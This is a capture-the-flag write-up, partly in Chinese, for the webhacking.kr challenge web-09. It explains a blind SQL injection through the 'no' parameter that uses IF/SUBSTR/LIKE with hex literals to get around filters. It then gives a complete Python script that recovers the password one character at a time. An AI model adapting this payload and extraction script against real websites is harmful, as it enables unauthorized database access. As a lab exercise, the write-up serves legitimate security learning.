Challenge
Extract the secret password through the
noparameter.通过
no参数提取隐藏密码。
https://webhacking.kr/challenge/web-09/Analysis
页面根据 no 查询 chall9 表中的记录。no=3 会显示 Secret 页面,响应中的 Secret 可以作为真假 oracle。已知查询形态近似为:
SELECT id FROM chall9 WHERE no=<no>过滤器会拦截常见比较符和空格,因此使用 IF、SUBSTR、LIKE 和十六进制字面量构造条件。条件为真时让表达式返回 3,条件为假时返回 0:
IF(SUBSTR(id,<position>,1)LIKE(<hex character>),3,0)当响应包含 Secret 时,当前字符猜测正确。密码长度是 11 个字符,逐位置遍历可打印 ASCII 字符即可恢复完整值。
Solution
下面的脚本保留同一个 session,并先枚举密码,再向 pw 参数提交结果。运行前把自己的登录 session 放入环境变量,脚本不会包含任何真实 Cookie:
import osimport string
import requests
BASE_URL = "https://webhacking.kr/challenge/web-09/"SECRET_MARKER = "Secret"PASSWORD_LENGTH = 11
def make_condition(position, character): encoded = hex(ord(character)) return f"IF(SUBSTR(id,{position},1)LIKE({encoded}),3,0)"
def response_is_true(session, payload): response = session.get( BASE_URL, params={"no": payload}, timeout=20, ) response.raise_for_status()25 collapsed lines
return SECRET_MARKER in response.text
def extract_password(session): password = [] for position in range(1, PASSWORD_LENGTH + 1): for character in string.printable: if character in "\r\n\t\x0b\x0c": continue payload = make_condition(position, character) if response_is_true(session, payload): password.append(character) break else: raise RuntimeError(f"no character matched at position {position}") return "".join(password)
def main(): session_cookie = os.environ.get("CHALLENGE_SESSION") if not session_cookie: raise SystemExit("set session-cookie to your own challenge session before running")
session = requests.Session() session.cookies.set("PHPSESSID", session_cookie, domain="webhacking.kr", path="/")
password = extract_password(session) print(f"password={password}")
result = session.get(BASE_URL, params={"pw": password}, timeout=20) result.raise_for_status() print(result.text)
if __name__ == "__main__": main()